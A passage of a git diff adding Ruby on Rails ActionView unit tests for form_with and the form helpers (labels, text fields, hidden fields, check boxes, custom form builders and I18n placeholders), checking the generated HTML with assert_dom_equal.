+      "<textarea name='post[body]'>\nBack to the hill and over it again!</textarea>" \
+      "<input name='parent_post[secret]' type='hidden' value='0' />" \
+      "<input name='parent_post[secret]' checked='checked' type='checkbox' value='1' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_with_and_fields_with_object
+    form_with(model: @post, scope: :post, id: "create-post") do |post_form|
+      concat post_form.text_field(:title)
+      concat post_form.text_area(:body)
+
+      concat post_form.fields(model: @comment) { |comment_fields|
+        concat comment_fields.text_field(:name)
+      }
+    end
+
+    expected = whole_form("/posts/123", "create-post", method: "patch") do
+      "<input name='post[title]' type='text' value='Hello World' />" \
+      "<textarea name='post[body]'>\nBack to the hill and over it again!</textarea>" \
+      "<input name='post[comment][name]' type='text' value='new comment' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_with_and_fields_with_non_nested_association_and_without_object
+    form_with(model: @post) do |f|
+      concat f.fields(:category) { |c|
+        concat c.text_field(:name)
+      }
+    end
+
+    expected = whole_form("/posts/123", method: "patch") do
+      "<input name='post[category][name]' type='text' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  class LabelledFormBuilder < ActionView::Helpers::FormBuilder
+    (field_helpers - %w(hidden_field)).each do |selector|
+      class_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1
+        def #{selector}(field, *args, &proc)
+          ("<label for='\#{field}'>\#{field.to_s.humanize}:</label> " + super + "<br/>").html_safe
+        end
+      RUBY_EVAL
+    end
+  end
+
+  def test_form_with_with_labelled_builder
+    form_with(model: @post, builder: LabelledFormBuilder) do |f|
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+    end
+
+    expected = whole_form("/posts/123", method: "patch") do
+      "<label for='title'>Title:</label> <input name='post[title]' type='text' value='Hello World' /><br/>" \
+      "<label for='body'>Body:</label> <textarea name='post[body]'>\nBack to the hill and over it again!</textarea><br/>" \
+      "<label for='secret'>Secret:</label> <input name='post[secret]' type='hidden' value='0' /><input name='post[secret]' checked='checked' type='checkbox' value='1' /><br/>"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_default_form_builder
+    old_default_form_builder, ActionView::Base.default_form_builder =
+      ActionView::Base.default_form_builder, LabelledFormBuilder
+
+    form_with(model: @post) do |f|
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+    end
+
+    expected = whole_form("/posts/123", method: "patch") do
+      "<label for='title'>Title:</label> <input name='post[title]' type='text' value='Hello World' /><br/>" \
+      "<label for='body'>Body:</label> <textarea name='post[body]'>\nBack to the hill and over it again!</textarea><br/>" \
+      "<label for='secret'>Secret:</label> <input name='post[secret]' type='hidden' value='0' /><input name='post[secret]' checked='checked' type='checkbox' value='1' /><br/>"
+    end
+
+    assert_dom_equal expected, output_buffer
+  ensure
+    ActionView::Base.default_form_builder = old_default_form_builder
+  end
+
+  def test_lazy_loading_default_form_builder
+    old_default_form_builder, ActionView::Base.default_form_builder =
+      ActionView::Base.default_form_builder, "FormWithActsLikeFormForTest::LabelledFormBuilder"
+
+    form_with(model: @post) do |f|
+      concat f.text_field(:title)
+    end
+
+    expected = whole_form("/posts/123", method: "patch") do
+      "<label for='title'>Title:</label> <input name='post[title]' type='text' value='Hello World' /><br/>"
+    end
+
+    assert_dom_equal expected, output_buffer
+  ensure
+    ActionView::Base.default_form_builder = old_default_form_builder
+  end
+
+  def test_form_builder_override
+    self.default_form_builder = LabelledFormBuilder
+
+    output_buffer = fields(:post, model: @post) do |f|
+      concat f.text_field(:title)
+    end
+
+    expected = "<label for='title'>Title:</label> <input name='post[title]' type='text' value='Hello World' /><br/>"
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_lazy_loading_form_builder_override
+    self.default_form_builder = "FormWithActsLikeFormForTest::LabelledFormBuilder"
+
+    output_buffer = fields(:post, model: @post) do |f|
+      concat f.text_field(:title)
+    end
+
+    expected = "<label for='title'>Title:</label> <input name='post[title]' type='text' value='Hello World' /><br/>"
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_fields_with_labelled_builder
+    output_buffer = fields(:post, model: @post, builder: LabelledFormBuilder) do |f|
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+    end
+
+    expected =
+      "<label for='title'>Title:</label> <input name='post[title]' type='text' value='Hello World' /><br/>" \
+      "<label for='body'>Body:</label> <textarea name='post[body]'>\nBack to the hill and over it again!</textarea><br/>" \
+      "<label for='secret'>Secret:</label> <input name='post[secret]' type='hidden' value='0' /><input name='post[secret]' checked='checked' type='checkbox' value='1' /><br/>"
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_with_with_labelled_builder_with_nested_fields_without_options_hash
+    klass = nil
+
+    form_with(model: @post, builder: LabelledFormBuilder) do |f|
+      f.fields(:comments, model: Comment.new) do |nested_fields|
+        klass = nested_fields.class
+        ""
+      end
+    end
+
+    assert_equal LabelledFormBuilder, klass
+  end
+
+  def test_form_with_with_labelled_builder_with_nested_fields_with_options_hash
+    klass = nil
+
+    form_with(model: @post, builder: LabelledFormBuilder) do |f|
+      f.fields(:comments, model: Comment.new, index: "foo") do |nested_fields|
+        klass = nested_fields.class
+        ""
+      end
+    end
+
+    assert_equal LabelledFormBuilder, klass
+  end
+
+  def test_form_with_with_labelled_builder_path
+    path = nil
+
+    form_with(model: @post, builder: LabelledFormBuilder) do |f|
+      path = f.to_partial_path
+      ""
+    end
+
+    assert_equal "labelled_form", path
+  end
+
+  class LabelledFormBuilderSubclass < LabelledFormBuilder; end
+
+  def test_form_with_with_labelled_builder_with_nested_fields_with_custom_builder
+    klass = nil
+
+    form_with(model: @post, builder: LabelledFormBuilder) do |f|
+      f.fields(:comments, model: Comment.new, builder: LabelledFormBuilderSubclass) do |nested_fields|
+        klass = nested_fields.class
+        ""
+      end
+    end
+
+    assert_equal LabelledFormBuilderSubclass, klass
+  end
+
+  def test_form_with_with_html_options_adds_options_to_form_tag
+    form_with(model: @post, html: { id: "some_form", class: "some_class", multipart: true }) do |f| end
+    expected = whole_form("/posts/123", "some_form", "some_class", method: "patch", multipart: "multipart/form-data")
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_with_with_string_url_option
+    form_with(model: @post, url: "http://www.otherdomain.com") do |f| end
+
+    assert_dom_equal whole_form("http://www.otherdomain.com", method: "patch"), output_buffer
+  end
+
+  def test_form_with_with_hash_url_option
+    form_with(model: @post, url: { controller: "controller", action: "action" }) do |f| end
+
+    assert_equal "controller", @url_for_options[:controller]
+    assert_equal "action", @url_for_options[:action]
+  end
+
+  def test_form_with_with_record_url_option
+    form_with(model: @post, url: @post) do |f| end
+
+    expected = whole_form("/posts/123", method: "patch")
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_with_with_existing_object
+    form_with(model: @post) do |f| end
+
+    expected = whole_form("/posts/123", method: "patch")
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_with_with_new_object
+    post = Post.new
+    post.persisted = false
+    def post.to_key; nil; end
+
+    form_with(model: post) {}
+
+    expected = whole_form("/posts")
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_with_with_existing_object_in_list
+    @comment.save
+    form_with(model: [@post, @comment]) {}
+
+    expected = whole_form(post_comment_path(@post, @comment), method: "patch")
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_with_with_new_object_in_list
+    form_with(model: [@post, @comment]) {}
+
+    expected = whole_form(post_comments_path(@post))
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_with_with_existing_object_and_namespace_in_list
+    @comment.save
+    form_with(model: [:admin, @post, @comment]) {}
+
+    expected = whole_form(admin_post_comment_path(@post, @comment), method: "patch")
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_with_with_new_object_and_namespace_in_list
+    form_with(model: [:admin, @post, @comment]) {}
+
+    expected = whole_form(admin_post_comments_path(@post))
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_with_with_existing_object_and_custom_url
+    form_with(model: @post, url: "/super_posts") do |f| end
+
+    expected = whole_form("/super_posts", method: "patch")
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_with_with_default_method_as_patch
+    form_with(model: @post) {}
+    expected = whole_form("/posts/123", method: "patch")
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_with_with_data_attributes
+    form_with(model: @post, data: { behavior: "stuff" }) {}
+    assert_match %r|data-behavior="stuff"|, output_buffer
+    assert_match %r|data-remote="true"|, output_buffer
+  end
+
+  def test_fields_returns_block_result
+    output = fields(model: Post.new) { |f| "fields" }
+    assert_equal "fields", output
+  end
+
+  def test_form_with_only_instantiates_builder_once
+    initialization_count = 0
+    builder_class = Class.new(ActionView::Helpers::FormBuilder) do
+      define_method :initialize do |*args|
+        super(*args)
+        initialization_count += 1
+      end
+    end
+
+    form_with(model: @post, builder: builder_class) {}
+    assert_equal 1, initialization_count, "form builder instantiated more than once"
+  end
+
+  private
+    def hidden_fields(options = {})
+      method = options[:method]
+
+      if options.fetch(:skip_enforcing_utf8, false)
+        txt = "".dup
+      else
+        txt = %{<input name="utf8" type="hidden" value="&#x2713;" />}.dup
+      end
+
+      if method && !%w(get post).include?(method.to_s)
+        txt << %{<input name="_method" type="hidden" value="#{method}" />}
+      end
+
+      txt
+    end
+
+    def form_text(action = "/", id = nil, html_class = nil, local = nil, multipart = nil, method = nil)
+      txt =  %{<form accept-charset="UTF-8" action="#{action}"}.dup
+      txt << %{ enctype="multipart/form-data"} if multipart
+      txt << %{ data-remote="true"} unless local
+      txt << %{ class="#{html_class}"} if html_class
+      txt << %{ id="#{id}"} if id
+      method = method.to_s == "get" ? "get" : "post"
+      txt << %{ method="#{method}">}
+    end
+
+    def whole_form(action = "/", id = nil, html_class = nil, local: false, **options)
+      contents = block_given? ? yield : ""
+
+      method, multipart = options.values_at(:method, :multipart)
+
+      form_text(action, id, html_class, local, multipart, method) + hidden_fields(options.slice :method, :skip_enforcing_utf8) + contents + "</form>"
+    end
+
+    def protect_against_forgery?
+      false
+    end
+
+    def with_locale(testing_locale = :label)
+      old_locale, I18n.locale = I18n.locale, testing_locale
+      yield
+    ensure
+      I18n.locale = old_locale
+    end
+end
diff --git a/actionview/test/template/form_helper_test.rb b/actionview/test/template/form_helper_test.rb
new file mode 100644
index 0000000000..8d689aebeb
--- /dev/null
+++ b/actionview/test/template/form_helper_test.rb
@@ -0,0 +1,3491 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "controller/fake_models"
+
+class FormHelperTest < ActionView::TestCase
+  include RenderERBUtils
+
+  tests ActionView::Helpers::FormHelper
+
+  def form_for(*)
+    @output_buffer = super
+  end
+
+  teardown do
+    I18n.backend.reload!
+  end
+
+  setup do
+    # Create "label" locale for testing I18n label helpers
+    I18n.backend.store_translations "label",
+      activemodel: {
+        attributes: {
+          post: {
+            cost: "Total cost"
+          },
+          "post/language": {
+            spanish: "Espanol"
+          }
+        }
+      },
+      helpers: {
+        label: {
+          post: {
+            body: "Write entire text here",
+            color: {
+              red: "Rojo"
+            },
+            comments: {
+              body: "Write body here"
+            }
+          },
+          tag: {
+            value: "Tag"
+          },
+          post_delegate: {
+            title: "Delegate model_name title"
+          }
+        }
+      }
+
+    # Create "submit" locale for testing I18n submit helpers
+    I18n.backend.store_translations "submit",
+      helpers: {
+        submit: {
+          create: "Create %{model}",
+          update: "Confirm %{model} changes",
+          submit: "Save changes",
+          another_post: {
+            update: "Update your %{model}"
+          }
+        }
+      }
+
+    I18n.backend.store_translations "placeholder",
+      activemodel: {
+        attributes: {
+          post: {
+            cost: "Total cost"
+          },
+          "post/cost": {
+            uk: "Pounds"
+          }
+        }
+      },
+      helpers: {
+        placeholder: {
+          post: {
+            title: "What is this about?",
+            written_on: {
+              spanish: "Escrito en"
+            },
+            comments: {
+              body: "Write body here"
+            }
+          },
+          post_delegate: {
+            title: "Delegate model_name title"
+          },
+          tag: {
+            value: "Tag"
+          }
+        }
+      }
+
+    @post = Post.new
+    @comment = Comment.new
+    def @post.errors()
+      Class.new {
+        def [](field); field == "author_name" ? ["can't be empty"] : [] end
+        def empty?() false end
+        def count() 1 end
+        def full_messages() ["Author name can't be empty"] end
+      }.new
+    end
+    def @post.to_key; [123]; end
+    def @post.id; 0; end
+    def @post.id_before_type_cast; "omg"; end
+    def @post.id_came_from_user?; true; end
+    def @post.to_param; "123"; end
+
+    @post.persisted   = true
+    @post.title       = "Hello World"
+    @post.author_name = ""
+    @post.body        = "Back to the hill and over it again!"
+    @post.secret      = 1
+    @post.written_on  = Date.new(2004, 6, 15)
+
+    @post.comments = []
+    @post.comments << @comment
+
+    @post.tags = []
+    @post.tags << Tag.new
+
+    @post_delegator = PostDelegator.new
+
+    @post_delegator.title = "Hello World"
+
+    @car = Car.new("#000FFF")
+  end
+
+  Routes = ActionDispatch::Routing::RouteSet.new
+  Routes.draw do
+    resources :posts do
+      resources :comments
+    end
+
+    namespace :admin do
+      resources :posts do
+        resources :comments
+      end
+    end
+
+    get "/foo", to: "controller#action"
+    root to: "main#index"
+  end
+
+  def _routes
+    Routes
+  end
+
+  include Routes.url_helpers
+
+  def url_for(object)
+    @url_for_options = object
+
+    if object.is_a?(Hash) && object[:use_route].blank? && object[:controller].blank?
+      object.merge!(controller: "main", action: "index")
+    end
+
+    super
+  end
+
+  class FooTag < ActionView::Helpers::Tags::Base
+    def initialize; end
+  end
+
+  def test_tags_base_child_without_render_method
+    assert_raise(NotImplementedError) { FooTag.new.render }
+  end
+
+  def test_label
+    assert_dom_equal('<label for="post_title">Title</label>', label("post", "title"))
+    assert_dom_equal(
+      '<label for="post_title">The title goes here</label>',
+      label("post", "title", "The title goes here")
+    )
+    assert_dom_equal(
+      '<label class="title_label" for="post_title">Title</label>',
+      label("post", "title", nil, class: "title_label")
+    )
+    assert_dom_equal('<label for="post_secret">Secret?</label>', label("post", "secret?"))
+  end
+
+  def test_label_with_symbols
+    assert_dom_equal('<label for="post_title">Title</label>', label(:post, :title))
+    assert_dom_equal('<label for="post_secret">Secret?</label>', label(:post, :secret?))
+  end
+
+  def test_label_with_locales_strings
+    with_locale :label do
+      assert_dom_equal('<label for="post_body">Write entire text here</label>', label("post", "body"))
+    end
+  end
+
+  def test_label_with_human_attribute_name
+    with_locale :label do
+      assert_dom_equal('<label for="post_cost">Total cost</label>', label(:post, :cost))
+    end
+  end
+
+  def test_label_with_human_attribute_name_and_options
+    with_locale :label do
+      assert_dom_equal('<label for="post_language_spanish">Espanol</label>', label(:post, :language, value: "spanish"))
+    end
+  end
+
+  def test_label_with_locales_symbols
+    with_locale :label do
+      assert_dom_equal('<label for="post_body">Write entire text here</label>', label(:post, :body))
+    end
+  end
+
+  def test_label_with_locales_and_options
+    with_locale :label do
+      assert_dom_equal(
+        '<label for="post_body" class="post_body">Write entire text here</label>',
+        label(:post, :body, class: "post_body")
+      )
+    end
+  end
+
+  def test_label_with_locales_and_value
+    with_locale :label do
+      assert_dom_equal('<label for="post_color_red">Rojo</label>', label(:post, :color, value: "red"))
+    end
+  end
+
+  def test_label_with_locales_and_nested_attributes
+    with_locale :label do
+      form_for(@post, html: { id: "create-post" }) do |f|
+        f.fields_for(:comments) do |cf|
+          concat cf.label(:body)
+        end
+      end
+
+      expected = whole_form("/posts/123", "create-post", "edit_post", method: "patch") do
+        '<label for="post_comments_attributes_0_body">Write body here</label>'
+      end
+
+      assert_dom_equal expected, output_buffer
+    end
+  end
+
+  def test_label_with_locales_fallback_and_nested_attributes
+    with_locale :label do
+      form_for(@post, html: { id: "create-post" }) do |f|
+        f.fields_for(:tags) do |cf|
+          concat cf.label(:value)
+        end
+      end
+
+      expected = whole_form("/posts/123", "create-post", "edit_post", method: "patch") do
+        '<label for="post_tags_attributes_0_value">Tag</label>'
+      end
+
+      assert_dom_equal expected, output_buffer
+    end
+  end
+
+  def test_label_with_non_active_record_object
+    form_for(OpenStruct.new(name: "ok"), as: "person", url: "/an", html: { id: "create-person" }) do |f|
+      f.label(:name)
+    end
+
+    expected = whole_form("/an", "create-person", "new_person", method: "post") do
+      '<label for="person_name">Name</label>'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_label_with_for_attribute_as_symbol
+    assert_dom_equal('<label for="my_for">Title</label>', label(:post, :title, nil, for: "my_for"))
+  end
+
+  def test_label_with_for_attribute_as_string
+    assert_dom_equal('<label for="my_for">Title</label>', label(:post, :title, nil, "for" => "my_for"))
+  end
+
+  def test_label_does_not_generate_for_attribute_when_given_nil
+    assert_dom_equal("<label>Title</label>", label(:post, :title, for: nil))
+  end
+
+  def test_label_with_id_attribute_as_symbol
+    assert_dom_equal(
+      '<label for="post_title" id="my_id">Title</label>',
+      label(:post, :title, nil, id: "my_id")
+    )
+  end
+
+  def test_label_with_id_attribute_as_string
+    assert_dom_equal(
+      '<label for="post_title" id="my_id">Title</label>',
+      label(:post, :title, nil, "id" => "my_id")
+    )
+  end
+
+  def test_label_with_for_and_id_attributes_as_symbol
+    assert_dom_equal(
+      '<label for="my_for" id="my_id">Title</label>',
+      label(:post, :title, nil, for: "my_for", id: "my_id")
+    )
+  end
+
+  def test_label_with_for_and_id_attributes_as_string
+    assert_dom_equal(
+      '<label for="my_for" id="my_id">Title</label>',
+      label(:post, :title, nil, "for" => "my_for", "id" => "my_id")
+    )
+  end
+
+  def test_label_for_radio_buttons_with_value
+    assert_dom_equal(
+      '<label for="post_title_great_title">The title goes here</label>',
+      label("post", "title", "The title goes here", value: "great_title")
+    )
+    assert_dom_equal(
+      '<label for="post_title_great_title">The title goes here</label>',
+      label("post", "title", "The title goes here", value: "great title")
+    )
+  end
+
+  def test_label_with_block
+    assert_dom_equal(
+      '<label for="post_title">The title, please:</label>',
+      label(:post, :title) { "The title, please:" }
+    )
+  end
+
+  def test_label_with_block_and_html
+    assert_dom_equal(
+      '<label for="post_terms">Accept <a href="/terms">Terms</a>.</label>',
+      label(:post, :terms) { raw('Accept <a href="/terms">Terms</a>.') }
+    )
+  end
+
+  def test_label_with_block_and_options
+    assert_dom_equal(
+      '<label for="my_for">The title, please:</label>',
+      label(:post, :title, "for" => "my_for") { "The title, please:" }
+    )
+  end
+
+  def test_label_with_block_and_builder
+    with_locale :label do
+      assert_dom_equal(
+        '<label for="post_body"><b>Write entire text here</b></label>',
+        label(:post, :body) { |b| raw("<b>#{b.translation}</b>") }
+      )
+    end
+  end
+
+  def test_label_with_block_in_erb
+    assert_dom_equal(
+      %{<label for="post_message">\n  Message\n  <input id="post_message" name="post[message]" type="text" />\n</label>},
+      view.render("test/label_with_block")
+    )
+  end
+
+  def test_label_with_to_model
+    assert_dom_equal(
+      %{<label for="post_delegator_title">Delegate Title</label>},
+      label(:post_delegator, :title)
+    )
+  end
+
+  def test_label_with_to_model_and_overridden_model_name
+    with_locale :label do
+      assert_dom_equal(
+        %{<label for="post_delegator_title">Delegate model_name title</label>},
+        label(:post_delegator, :title)
+      )
+    end
+  end
+
+  def test_text_field_placeholder_without_locales
+    with_locale :placeholder do
+      assert_dom_equal('<input id="post_body" name="post[body]" placeholder="Body" type="text" value="Back to the hill and over it again!" />', text_field(:post, :body, placeholder: true))
+    end
+  end
+
+  def test_text_field_placeholder_with_locales
+    with_locale :placeholder do
+      assert_dom_equal('<input id="post_title" name="post[title]" placeholder="What is this about?" type="text" value="Hello World" />', text_field(:post, :title, placeholder: true))
+    end
+  end
+
+  def test_text_field_placeholder_with_locales_and_to_model
+    with_locale :placeholder do
+      assert_dom_equal(
+        '<input id="post_delegator_title" name="post_delegator[title]" placeholder="Delegate model_name title" type="text" value="Hello World" />',
+        text_field(:post_delegator, :title, placeholder: true)
+      )
+    end
+  end
+
+  def test_text_field_placeholder_with_human_attribute_name
+    with_locale :placeholder do
+      assert_dom_equal('<input id="post_cost" name="post[cost]" placeholder="Total cost" type="text" />', text_field(:post, :cost, placeholder: true))
+    end
+  end
+
+  def test_text_field_placeholder_with_human_attribute_name_and_to_model
+    assert_dom_equal(
+      '<input id="post_delegator_title" name="post_delegator[title]" placeholder="Delegate Title" type="text" value="Hello World" />',
+      text_field(:post_delegator, :title, placeholder: true)
+    )
+  end
+
+  def test_text_field_placeholder_with_string_value
+    with_locale :placeholder do
+      assert_dom_equal('<input id="post_cost" name="post[cost]" placeholder="HOW MUCH?" type="text" />', text_field(:post, :cost, placeholder: "HOW MUCH?"))
+    end
+  end
+
+  def test_text_field_placeholder_with_human_attribute_name_and_value
+    with_locale :placeholder do
+      assert_dom_equal('<input id="post_cost" name="post[cost]" placeholder="Pounds" type="text" />', text_field(:post, :cost, placeholder: :uk))
+    end
+  end
+
+  def test_text_field_placeholder_with_locales_and_value
+    with_locale :placeholder do
+      assert_dom_equal('<input id="post_written_on" name="post[written_on]" placeholder="Escrito en" type="text" value="2004-06-15" />', text_field(:post, :written_on, placeholder: :spanish))
+    end
+  end
+
+  def test_text_field_placeholder_with_locales_and_nested_attributes
+    with_locale :placeholder do
+      form_for(@post, html: { id: "create-post" }) do |f|
+        f.fields_for(:comments) do |cf|
+          concat cf.text_field(:body, placeholder: true)
+        end
+      end
+
+      expected = whole_form("/posts/123", "create-post", "edit_post", method: "patch") do
+        '<input id="post_comments_attributes_0_body" name="post[comments_attributes][0][body]" placeholder="Write body here" type="text" />'
+      end
+
+      assert_dom_equal expected, output_buffer
+    end
+  end
+
+  def test_text_field_placeholder_with_locales_fallback_and_nested_attributes
+    with_locale :placeholder do
+      form_for(@post, html: { id: "create-post" }) do |f|
+        f.fields_for(:tags) do |cf|
+          concat cf.text_field(:value, placeholder: true)
+        end
+      end
+
+      expected = whole_form("/posts/123", "create-post", "edit_post", method: "patch") do
+        '<input id="post_tags_attributes_0_value" name="post[tags_attributes][0][value]" placeholder="Tag" type="text" value="new tag" />'
+      end
+
+      assert_dom_equal expected, output_buffer
+    end
+  end
+
+  def test_text_field
+    assert_dom_equal(
+      '<input id="post_title" name="post[title]" type="text" value="Hello World" />',
+      text_field("post", "title")
+    )
+    assert_dom_equal(
+      '<input id="post_title" name="post[title]" type="password" />',
+      password_field("post", "title")
+    )
+    assert_dom_equal(
+      '<input id="post_title" name="post[title]" type="password" value="Hello World" />',
+      password_field("post", "title", value: @post.title)
+    )
+    assert_dom_equal(
+      '<input id="person_name" name="person[name]" type="password" />',
+      password_field("person", "name")
+    )
+  end
+
+  def test_text_field_with_escapes
+    @post.title = "<b>Hello World</b>"
+    assert_dom_equal(
+      '<input id="post_title" name="post[title]" type="text" value="&lt;b&gt;Hello World&lt;/b&gt;" />',
+      text_field("post", "title")
+    )
+  end
+
+  def test_text_field_with_html_entities
+    @post.title = "The HTML Entity for & is &amp;"
+    assert_dom_equal(
+      '<input id="post_title" name="post[title]" type="text" value="The HTML Entity for &amp; is &amp;amp;" />',
+      text_field("post", "title")
+    )
+  end
+
+  def test_text_field_with_options
+    expected = '<input id="post_title" name="post[title]" size="35" type="text" value="Hello World" />'
+    assert_dom_equal expected, text_field("post", "title", "size" => 35)
+    assert_dom_equal expected, text_field("post", "title", size: 35)
+  end
+
+  def test_text_field_assuming_size
+    expected = '<input id="post_title" maxlength="35" name="post[title]" size="35" type="text" value="Hello World" />'
+    assert_dom_equal expected, text_field("post", "title", "maxlength" => 35)
+    assert_dom_equal expected, text_field("post", "title", maxlength: 35)
+  end
+
+  def test_text_field_removing_size
+    expected = '<input id="post_title" maxlength="35" name="post[title]" type="text" value="Hello World" />'
+    assert_dom_equal expected, text_field("post", "title", "maxlength" => 35, "size" => nil)
+    assert_dom_equal expected, text_field("post", "title", maxlength: 35, size: nil)
+  end
+
+  def test_text_field_with_nil_value
+    expected = '<input id="post_title" name="post[title]" type="text" />'
+    assert_dom_equal expected, text_field("post", "title", value: nil)
+  end
+
+  def test_text_field_with_nil_name
+    expected = '<input id="post_title" type="text" value="Hello World" />'
+    assert_dom_equal expected, text_field("post", "title", name: nil)
+  end
+
+  def test_text_field_doesnt_change_param_values
+    object_name = "post[]"
+    expected = '<input id="post_123_title" name="post[123][title]" type="text" value="Hello World" />'
+    assert_dom_equal expected, text_field(object_name, "title")
+  end
+
+  def test_file_field_has_no_size
+    expected = '<input id="user_avatar" name="user[avatar]" type="file" />'
+    assert_dom_equal expected, file_field("user", "avatar")
+  end
+
+  def test_file_field_with_multiple_behavior
+    expected = '<input id="import_file" multiple="multiple" name="import[file][]" type="file" />'
+    assert_dom_equal expected, file_field("import", "file", multiple: true)
+  end
+
+  def test_file_field_with_multiple_behavior_and_explicit_name
+    expected = '<input id="import_file" multiple="multiple" name="custom" type="file" />'
+    assert_dom_equal expected, file_field("import", "file", multiple: true, name: "custom")
+  end
+
+  def test_hidden_field
+    assert_dom_equal(
+      '<input id="post_title" name="post[title]" type="hidden" value="Hello World" />',
+      hidden_field("post", "title")
+    )
+    assert_dom_equal(
+      '<input id="post_secret" name="post[secret]" type="hidden" value="1" />',
+      hidden_field("post", "secret?")
+    )
+  end
+
+  def test_hidden_field_with_escapes
+    @post.title = "<b>Hello World</b>"
+    assert_dom_equal(
+      '<input id="post_title" name="post[title]" type="hidden" value="&lt;b&gt;Hello World&lt;/b&gt;" />',
+      hidden_field("post", "title")
+    )
+  end
+
+  def test_hidden_field_with_nil_value
+    expected = '<input id="post_title" name="post[title]" type="hidden" />'
+    assert_dom_equal expected, hidden_field("post", "title", value: nil)
+  end
+
+  def test_hidden_field_with_options
+    assert_dom_equal(
+      '<input id="post_title" name="post[title]" type="hidden" value="Something Else" />',
+      hidden_field("post", "title", value: "Something Else")
+    )
+  end
+
+  def test_text_field_with_custom_type
+    assert_dom_equal(
+      '<input id="user_email" name="user[email]" type="email" />',
+      text_field("user", "email", type: "email")
+    )
+  end
+
+  def test_check_box_is_html_safe
+    assert check_box("post", "secret").html_safe?
+  end
+
+  def test_check_box_checked_if_object_value_is_same_that_check_value
+    assert_dom_equal(
+      '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
+      check_box("post", "secret")
+    )
+  end
+
+  def test_check_box_not_checked_if_object_value_is_same_that_unchecked_value
+    @post.secret = 0
+    assert_dom_equal(
+      '<input name="post[secret]" type="hidden" value="0" /><input id="post_secret" name="post[secret]" type="checkbox" value="1" />',
+      check_box("post", "secret")
+    )
+  end
+
+  def test_check_box_checked_if_option_checked_is_present
+    assert_dom_equal(
+      '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
+      check_box("post", "secret", "checked" => "checked")
+    )
+  end
+
+  def test_check_box_checked_if_object_value_is_true
+    @post.secret = true
+    assert_dom_equal(
+      '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
+      check_box("post", "secret")
+    )
+
+    assert_dom_equal(
+      '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
+      check_box("post", "secret?")
+    )
+  end
+
+  def test_check_box_checked_if_object_value_includes_checked_value
+    @post.secret = ["0"]
+    assert_dom_equal(
+      '<input name="post[secret]" type="hidden" value="0" /><input id="post_secret" name="post[secret]" type="checkbox" value="1" />',
+      check_box("post", "secret")
+    )
+
+    @post.secret = ["1"]
+    assert_dom_equal(
+      '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
+      check_box("post", "secret")
+    )
+
+    @post.secret = Set.new(["1"])
+    assert_dom_equal(
+      '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
+      check_box("post", "secret")
+    )
+  end
+
+  def test_check_box_with_include_hidden_false
+    @post.secret = false
+    assert_dom_equal(
+      '<input id="post_secret" name="post[secret]" type="checkbox" value="1" />',
+      check_box("post", "secret", include_hidden: false)
+    )
+  end
+
+  def test_check_box_with_explicit_checked_and_unchecked_values_when_object_value_is_string
+    @post.secret = "on"
+    assert_dom_equal(
+      '<input name="post[secret]" type="hidden" value="off" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="on" />',
+      check_box("post", "secret", {}, "on", "off")
+    )
+
+    @post.secret = "off"
+    assert_dom_equal(
+      '<input name="post[secret]" type="hidden" value="off" /><input id="post_secret" name="post[secret]" type="checkbox" value="on" />',
+      check_box("post", "secret", {}, "on", "off")
+    )
+  end
+
+  def test_check_box_with_explicit_checked_and_unchecked_values_when_object_value_is_boolean
+    @post.secret = false
+    assert_dom_equal(
+      '<input name="post[secret]" type="hidden" value="true" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="false" />',
+      check_box("post", "secret", {}, false, true)
+    )
+
+    @post.secret = true
+    assert_dom_equal(
+      '<input name="post[secret]" type="hidden" value="true" /><input id="post_secret" name="post[secret]" type="checkbox" value="false" />',
+      check_box("post", "secret", {}, false, true)
+    )
+  end
+
+  def test_check_box_with_explicit_checked_and_unchecked_values_when_object_value_is_integer
+    @post.secret = 0
+    assert_dom_equal(
+      '<input name="post[secret]" type="hidden" value="1" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="0" />',
+      check_box("post", "secret", {}, 0, 1)
+    )
+
+    @post.secret = 1
+    assert_dom_equal(
+      '<input name="post[secret]" type="hidden" value="1" /><input id="post_secret" name="post[secret]" type="checkbox" value="0" />',
+      check_box("post", "secret", {}, 0, 1)
+    )
+
+    @post.secret = 2
+    assert_dom_equal(
+      '<input name="post[secret]" type="hidden" value="1" /><input id="post_secret" name="post[secret]" type="checkbox" value="0" />',
+      check_box("post", "secret", {}, 0, 1)
+    )
+  end
+
+  def test_check_box_with_explicit_checked_and_unchecked_values_when_object_value_is_float
